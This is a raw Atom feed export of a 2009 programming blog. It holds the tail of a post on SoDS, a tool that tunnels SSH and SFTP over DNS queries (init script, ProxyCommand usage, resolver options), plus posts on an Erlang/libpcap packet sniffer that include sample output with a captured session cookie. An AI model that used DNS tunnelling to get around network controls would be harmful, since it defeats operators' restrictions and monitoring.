ssh.server1:22 -L ssh.server2:22 -L 65.55.21.250:22&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;DOMAIN&lt;/span&gt;=&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;a.example.com&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;/etc/init.d/sods:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;#!/bin/sh /etc/rc.common&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;# Copyright (C) 2006 OpenWrt.org&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;START&lt;/span&gt;=&lt;span class="Constant"&gt;50&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;BIN&lt;/span&gt;=sods&lt;br /&gt;&lt;span class="Identifier"&gt;DEFAULT&lt;/span&gt;=/etc/default/&lt;span class="PreProc"&gt;$BIN&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;CHROOT_D&lt;/span&gt;=/var/chroot/sods&lt;br /&gt;&lt;br /&gt;start&lt;span class="Statement"&gt;()&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;include /lib/network&lt;br /&gt;scan_interfaces&lt;br /&gt;config_load /var/state/network&lt;br /&gt;config_get ipaddr wan ipaddr&lt;br /&gt;&lt;br /&gt;&lt;span class="Statement"&gt;[&lt;/span&gt; &lt;span class="Statement"&gt;-f&lt;/span&gt; &lt;span class="PreProc"&gt;$DEFAULT&lt;/span&gt; &lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="Statement"&gt; . &lt;/span&gt;&lt;span class="PreProc"&gt;$DEFAULT&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;[&lt;/span&gt; &lt;span class="Statement"&gt;!&lt;/span&gt; &lt;span class="Statement"&gt;-d&lt;/span&gt; &lt;span class="PreProc"&gt;$CHROOT_D&lt;/span&gt; &lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mkdir -p &lt;span class="PreProc"&gt;$CHROOT_D&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;$BIN&lt;/span&gt; &lt;span class="PreProc"&gt;$OPTIONS&lt;/span&gt; -i &lt;span class="PreProc"&gt;$ipaddr&lt;/span&gt; &lt;span class="PreProc"&gt;$DOMAIN&lt;/span&gt;&lt;br /&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;stop&lt;span class="Statement"&gt;()&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;killall sods&lt;br /&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Accessing Your DNS Tunnel&lt;/h3&gt;&lt;br /&gt;So next time you are enjoying a venti americano in your local coffee shop, you may think to pause from chatting with the cute barista to fire up your laptop or other mobile device and login to IRC. We're geeks, it happens.&lt;br /&gt;&lt;pre class="Code"&gt;$ ssh &lt;span class="Special"&gt;-o&lt;/span&gt; &lt;span class="Identifier"&gt;ProxyCommand&lt;/span&gt;=&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;./sdt sshdns.a.example.com&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt; &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;100&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Since UDP is innately unreliable, for best results, wrap the ssh command in a script that reconnects on failure. On the server side, if you are using ssh, running everything within a GNU screen session provides seamless access to your console, in case your connection drops. See the example scripts for more details, but basically, all you need to do is use a named GNU screen session on your ssh server:&lt;br /&gt;&lt;pre class="Code"&gt;$ &lt;span class="Statement"&gt;while&lt;/span&gt;&lt;span class="Statement"&gt; &lt;/span&gt;&lt;span class="Statement"&gt;[&lt;/span&gt; &lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt; &lt;span class="Statement"&gt;]&lt;/span&gt;&lt;span class="Statement"&gt;;&lt;/span&gt;&lt;span class="Statement"&gt; &lt;/span&gt;&lt;span class="Statement"&gt;do&lt;/span&gt; ssh &lt;span class="Statement"&gt;-t&lt;/span&gt; &lt;span class="Statement"&gt;-C&lt;/span&gt; &lt;span class="Statement"&gt;-o&lt;/span&gt; &lt;span class="Identifier"&gt;ProxyCommand&lt;/span&gt;=&lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;./sdt sshdns.a.example.com&lt;/span&gt;&lt;span class="Statement"&gt;"&lt;/span&gt; &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;100&lt;/span&gt; &lt;span class="Statement"&gt;"&lt;/span&gt;&lt;span class="Constant"&gt;screen -drR sshdns&lt;/span&gt;&lt;span class="Statement"&gt;";&lt;/span&gt; &lt;span class="Statement"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;SoDS Client&lt;/h2&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;sdt will try not to overwhelm the local DNS server and will back off. Some DNS servers throttle chatty clients.&lt;br /&gt;&lt;br /&gt;To add some reliability to the protocol, both the client and server track sent packets and will re-send if they are lost.&lt;/li&gt;&lt;li&gt;If you are having problems connecting, run with multiple "-v" switches to see what's going on. It'll fill your screen with debug messages but will eventually stop. To control the number of debug messages displayed, use the "-V" switch (it defaults to 100).&lt;/li&gt;&lt;li&gt;You can bounce your connection off of other DNS servers, beside your local DNS server, if they support recursion by using the "-r" flag. To see which servers sdt knows about, run:&lt;br /&gt;&lt;pre class="Code"&gt;sdt -v -h&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To use a particular recursive server, choose it by name:&lt;br /&gt;&lt;pre class="Code"&gt;sdt -r google&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To pick a random server, run:&lt;br /&gt;&lt;pre class="Code"&gt;sdt -r random&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;sods supports tunnelling using TXT, CNAME and NULL records. The default is TXT records. I've found that some ISP's re-write TXT records and many DNS servers in the wild do not support NULL records at all. Using CNAME's seems to work with most networks.&lt;br /&gt;&lt;br /&gt;NULL records have the lowest encoding overhead and the specification allows for a large packet size, reducing overhead further. Since sods does not support TCP, large packets aren't supported.&lt;/li&gt;&lt;li&gt;If you are on a mobile device, you probably want to conserve your battery. sdt polls for data at regular intervals by sending a request to the local DNS server to flush any pending data from your SoDS server.&lt;br /&gt;&lt;br /&gt;You can control this polling (without much effect on latency) by using the "-b" option. Every time data is received polling ramps up and slowly decays as no new data is recieved.&lt;br /&gt;&lt;br /&gt;If you happen to be on linux, &lt;a href="http://www.lesswatts.org/projects/powertop/"&gt;powertop&lt;/a&gt; is a great tool for fine tuning the polling intervals.&lt;/li&gt;&lt;li&gt;Files can be transferred securely over DNS by using sftp, see the "sdftp" script in the examples. If you're brave, you can also run a fuse filesystem using sshfs.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-7617579436080777405?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/7617579436080777405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2009/12/sods-care-and-feeding-of.html#comment-form' title='28 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7617579436080777405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7617579436080777405'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2009/12/sods-care-and-feeding-of.html' title='SoDS; Care and Feeding of,'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VKBskse7x_4/SzvLsgHsj0I/AAAAAAAABgY/KUggmPfds2g/s72-c/IMAG0018.jpg' height='72' width='72'/><thr:total>28</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-8530451974783129017</id><published>2009-12-03T21:04:00.000-05:00</published><updated>2010-03-13T13:39:44.399-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>epcap: An Erlang Packet Sniffer</title><content type='html'>In the &lt;a href="http://listincomprehension.blogspot.com/2009/12/erlang-packet-sniffer-using-ei-and.html"&gt;last entry&lt;/a&gt;, I talked about using erlang ports to pass messages between a Unix and an Erlang process. The data was encoded using the ei library.&lt;br /&gt;&lt;br /&gt;As we saw, parsing the packets in C isn't hard: we cast the packet to the header structures. For example, to get the source address of the packet, we would do:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; *iph = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;&lt;span class="Type"&gt;const&lt;/span&gt; u_char *pkt; &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; the packet given to us by pcap &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; in_addr src;&lt;br /&gt;&lt;br /&gt;iph = (&lt;span class="Type"&gt;struct&lt;/span&gt; ip *)(pkt + &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(&lt;span class="Type"&gt;struct&lt;/span&gt; ether_header));&lt;br /&gt;&lt;br /&gt;src = iph-&amp;gt;ip_src;&lt;br /&gt;&lt;/pre&gt;Erlang has a reputation for elegant and robust binary parsing. Is that true?&lt;br /&gt;&lt;br /&gt;Parsing the ethernet header from a packet looks like this:&lt;br /&gt;&lt;pre class="Code"&gt;ether(&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;Dhost:6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;Shost:6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;Type:2&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, Packet&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;)&lt;br /&gt;&lt;/pre&gt;We specify bytes for convenience (the default is bits). Each variable corresponds to the C structure found in &lt;i&gt;net/ethernet.h&lt;/i&gt;.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#define ETHER_ADDR_LEN      &lt;/span&gt;&lt;span class="Constant"&gt;6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;struct&lt;/span&gt;  ether_header {&lt;br /&gt;    u_char  ether_dhost[ETHER_ADDR_LEN];&lt;br /&gt;    u_char  ether_shost[ETHER_ADDR_LEN];&lt;br /&gt;    u_short ether_type;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;The binary is stored in a record:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;-record&lt;/span&gt;(ether, {&lt;br /&gt;dhost, shost, type, crc&lt;br /&gt;})&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;We return a tuple containing the header and the payload.&lt;br /&gt;&lt;pre class="Code"&gt;ether(&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;Dhost:6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;Shost:6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;Type:2&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, Packet&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;Len &lt;span class="Statement"&gt;=&lt;/span&gt; byte_size(Packet) &lt;span class="Statement"&gt;-&lt;/span&gt; &lt;span class="Constant"&gt;4&lt;/span&gt;,&lt;br /&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;Payload:Len&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;CRC:4&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; Packet,&lt;br /&gt;{#ether{&lt;br /&gt;dhost &lt;span class="Statement"&gt;=&lt;/span&gt; Dhost, shost &lt;span class="Statement"&gt;=&lt;/span&gt; Shost,&lt;br /&gt;type &lt;span class="Statement"&gt;=&lt;/span&gt; Type, crc &lt;span class="Statement"&gt;=&lt;/span&gt; CRC&lt;br /&gt;}, Payload}&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;We follow the same pattern for IPv4, TCP, UDP and ICMP.  I took the code from an old project to write an Erlang TCP/IP stack, so the implementation is incomplete and very likely buggy, but it's good enough for demonstration purposes. I'll clean it up over time.&lt;br /&gt;&lt;br /&gt;Finally, we have a port, a port driver and a parser. We can put the pieces together quickly.&lt;br /&gt;&lt;pre class="Code"&gt;start(L) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;epcap:start&lt;/span&gt;(L),&lt;br /&gt;loop()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;loop() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;receive&lt;/span&gt;&lt;br /&gt;[{&lt;span class="Identifier"&gt;time&lt;/span&gt;, Time},{packet, Packet}] &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;try&lt;/span&gt; &lt;span class="Identifier"&gt;epnet:decapsulate&lt;/span&gt;(Packet) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;P &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; dump(Time, P)&lt;br /&gt;&lt;span class="Statement"&gt;catch&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;error:Error&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;~s&lt;/span&gt;&lt;span class="Constant"&gt; *** Error decoding packet (&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;) ***&lt;/span&gt;&lt;span class="Special"&gt;~n~p~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [timestamp(Time), Error, Packet])&lt;br /&gt;&lt;span class="Statement"&gt;end&lt;/span&gt;,&lt;br /&gt;loop();&lt;br /&gt;stop &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;ok&lt;br /&gt;&lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;timestamp(Now) &lt;span class="Statement"&gt;when&lt;/span&gt; is_tuple(Now) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;iso_8601_fmt(&lt;span class="Identifier"&gt;calendar:now_to_local_time&lt;/span&gt;(Now))&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;iso_8601_fmt(DateTime) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;{{Year,Month,Day},{Hour,Min,Sec}} &lt;span class="Statement"&gt;=&lt;/span&gt; DateTime,&lt;br /&gt;&lt;span class="Identifier"&gt;lists:flatten&lt;/span&gt;(&lt;span class="Identifier"&gt;io_lib:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;~4.10.0B-~2.10.0B-~2.10.0B ~2.10.0B:~2.10.0B:~2.10.0B&amp;quot;&lt;/span&gt;,&lt;br /&gt;[Year, Month, Day, Hour, Min, Sec]))&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dump(Time, [Ether, IP, #tcp{} &lt;span class="Statement"&gt;=&lt;/span&gt; Hdr, Payload]) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;~s&lt;/span&gt;&lt;span class="Constant"&gt; =======================================&lt;/span&gt;&lt;span class="Special"&gt;~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [timestamp(Time)]),&lt;br /&gt;&lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;SRC:&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt; (&lt;/span&gt;&lt;span class="Special"&gt;~s&lt;/span&gt;&lt;span class="Constant"&gt;)&lt;/span&gt;&lt;span class="Special"&gt;~n&lt;/span&gt;&lt;span class="Constant"&gt;DST:&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt; (&lt;/span&gt;&lt;span class="Special"&gt;~s&lt;/span&gt;&lt;span class="Constant"&gt;)&lt;/span&gt;&lt;span class="Special"&gt;~n&lt;/span&gt;&lt;span class="Constant"&gt;Flags [&lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;] seq &lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;, ack &lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;, win &lt;/span&gt;&lt;span class="Special"&gt;~p&lt;/span&gt;&lt;span class="Constant"&gt;, length &lt;/span&gt;&lt;span class="Special"&gt;~p~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [&lt;br /&gt;IP#ipv4&lt;span class="Special"&gt;.&lt;/span&gt;saddr, Hdr#tcp&lt;span class="Special"&gt;.&lt;/span&gt;sport, &lt;span class="Identifier"&gt;string:join&lt;/span&gt;(&lt;span class="Identifier"&gt;epnet:ether_addr&lt;/span&gt;(Ether#ether&lt;span class="Special"&gt;.&lt;/span&gt;shost), &lt;span class="Constant"&gt;&amp;quot;:&amp;quot;&lt;/span&gt;),&lt;br /&gt;IP#ipv4&lt;span class="Special"&gt;.&lt;/span&gt;daddr, Hdr#tcp&lt;span class="Special"&gt;.&lt;/span&gt;dport, &lt;span class="Identifier"&gt;string:join&lt;/span&gt;(&lt;span class="Identifier"&gt;epnet:ether_addr&lt;/span&gt;(Ether#ether&lt;span class="Special"&gt;.&lt;/span&gt;dhost), &lt;span class="Constant"&gt;&amp;quot;:&amp;quot;&lt;/span&gt;),&lt;br /&gt;&lt;span class="Identifier"&gt;epnet:tcp_flags&lt;/span&gt;(Hdr),&lt;br /&gt;Hdr#tcp&lt;span class="Special"&gt;.&lt;/span&gt;seqno, Hdr#tcp&lt;span class="Special"&gt;.&lt;/span&gt;ackno, Hdr#tcp&lt;span class="Special"&gt;.&lt;/span&gt;win,&lt;br /&gt;byte_size(Payload)&lt;br /&gt;]),&lt;br /&gt;&lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;~s~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [&lt;span class="Identifier"&gt;epnet:payload&lt;/span&gt;(Payload)])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Note that I hardcoded the chroot directory and the default options.  Running the above from the shell will display something like this:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;2009&lt;/span&gt;&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;12&lt;/span&gt;&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;02&lt;/span&gt; &lt;span class="Identifier"&gt;22:14&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;46&lt;/span&gt; &lt;span class="Statement"&gt;=======================================&lt;/span&gt;&lt;br /&gt;SRC&lt;span class="Special"&gt;:&lt;/span&gt;{&lt;span class="Constant"&gt;207&lt;/span&gt;,&lt;span class="Constant"&gt;97&lt;/span&gt;,&lt;span class="Constant"&gt;227&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;}&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;80&lt;/span&gt; (&lt;span class="Identifier"&gt;0:16&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Identifier"&gt;B6:xx&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Identifier"&gt;xx:xx&lt;/span&gt;)&lt;br /&gt;DST&lt;span class="Special"&gt;:&lt;/span&gt;{&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;}&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;59341&lt;/span&gt; (&lt;span class="Identifier"&gt;0:1C&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Identifier"&gt;B3:xx&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Identifier"&gt;xx:xx&lt;/span&gt;)&lt;br /&gt;Flags [&lt;span class="Constant"&gt;&amp;quot;ack&amp;quot;&lt;/span&gt;] seq &lt;span class="Constant"&gt;3306458405&lt;/span&gt;, ack &lt;span class="Constant"&gt;3526830431&lt;/span&gt;, win &lt;span class="Constant"&gt;46&lt;/span&gt;, &lt;span class="Identifier"&gt;length&lt;/span&gt; &lt;span class="Constant"&gt;492&lt;/span&gt;&lt;br /&gt;HTTP&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;1.1&lt;/span&gt; &lt;span class="Constant"&gt;301&lt;/span&gt; Moved Permanently&lt;span class="Special"&gt;..&lt;/span&gt;&lt;span class="Identifier"&gt;Server: nginx&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;0.7&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;span class="Constant"&gt;61&lt;/span&gt;&lt;span class="Special"&gt;..&lt;/span&gt;&lt;span class="Identifier"&gt;Date: Thu&lt;/span&gt;, &lt;span class="Constant"&gt;03&lt;/span&gt; Dec &lt;span class="Constant"&gt;2009&lt;/span&gt; &lt;span class="Identifier"&gt;03:14&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;46&lt;/span&gt; GMT&lt;span class="Special"&gt;..&lt;/span&gt;Content&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Identifier"&gt;Type: text&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;html; charset&lt;span class="Statement"&gt;=&lt;/span&gt;utf&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Special"&gt;..&lt;/span&gt;&lt;span class="Identifier"&gt;Connection: close&lt;/span&gt;&lt;span class="Special"&gt;..&lt;/span&gt;&lt;span class="Identifier"&gt;Status: 301&lt;/span&gt; Moved Permanently&lt;span class="Special"&gt;..&lt;/span&gt;&lt;span class="Identifier"&gt;Location: http&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Statement"&gt;//&lt;/span&gt;github&lt;span class="Special"&gt;.&lt;/span&gt;com&lt;span class="Statement"&gt;/&lt;/span&gt;dashboard&lt;span class="Special"&gt;..&lt;/span&gt;X&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Identifier"&gt;Runtime: 0ms&lt;/span&gt;&lt;span class="Special"&gt;..&lt;/span&gt;Content&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Identifier"&gt;Length: 93&lt;/span&gt;&lt;span class="Special"&gt;..&lt;/span&gt;Set&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Identifier"&gt;Cookie: _github_ses&lt;/span&gt;&lt;span class="Statement"&gt;=&lt;/span&gt;BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA&lt;span class="Comment"&gt;%3D%3D--884981fc5aa85daf318eeff084d98e2cff92578f; path=/; expires=Wed, 01 Jan 2020 08:00:00 GMT; HttpOnly..Cache-Control: no-cache&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Occasionally, sniff will have an error parsing a packet. I haven't looked too deeply into this as yet. Check &lt;a href="http://github.com/msantos/epcap"&gt;github&lt;/a&gt;, maybe it's already been fixed. I'll be cleaning up the code over the next few days.&lt;br /&gt;&lt;br /&gt;So what's next for epcap? It'd be interesting building a monitoring system around Erlang or an intrustion detection system. Erlang's pattern matching would be awesome for signatures. Combining epcap with an Erlang libnet port could be the basis of a very cool vulnerability scanning engine; combined with erlang's seamless distribution, excellent web servers and frameworks, and distributed databases, it could certainly be the basis for something remarkable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-8530451974783129017?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/8530451974783129017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2009/12/epcap-erlang-packet-sniffer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/8530451974783129017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/8530451974783129017'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2009/12/epcap-erlang-packet-sniffer.html' title='epcap: An Erlang Packet Sniffer'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-7310956069761524896</id><published>2009-12-03T19:24:00.000-05:00</published><updated>2010-03-20T10:05:32.752-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>An Erlang Packet Sniffer Using ei and libpcap</title><content type='html'>After testing the erlang nif interface, I thought I'd try the ei library.  ei is a way of  serializing terms between Erlang and ports. Whereas nif is a function interface and is thus blocking, ports treat external processes as an Erlang process and so can use asynchronous message passing for communication.&lt;br /&gt;&lt;br /&gt;Some packet dump utilities for Erlang already exist using &lt;a href="http://www.snookles.com/erlang/edtk/"&gt;linked in drivers&lt;/a&gt; and the &lt;a href="http://jungerl.sourceforge.net/"&gt;Linux raw socket interface&lt;/a&gt;. It should be possible, as well, to use tcpdump as a port, although that involves a lot of  text parsing.&lt;br /&gt;&lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt; is a standalone binary written in C, using the &lt;a href="http://www.tcpdump.org/pcap3_man.html"&gt;pcap&lt;/a&gt; packet capture library.  I'll go through building epcap in two parts: making a port in C and parsing the packets in Erlang. If you just want to start playing with &lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt;, you can get it from github.  It's just a beginning, but it should be work.&lt;br /&gt;&lt;br /&gt;If you are interested in the &lt;a 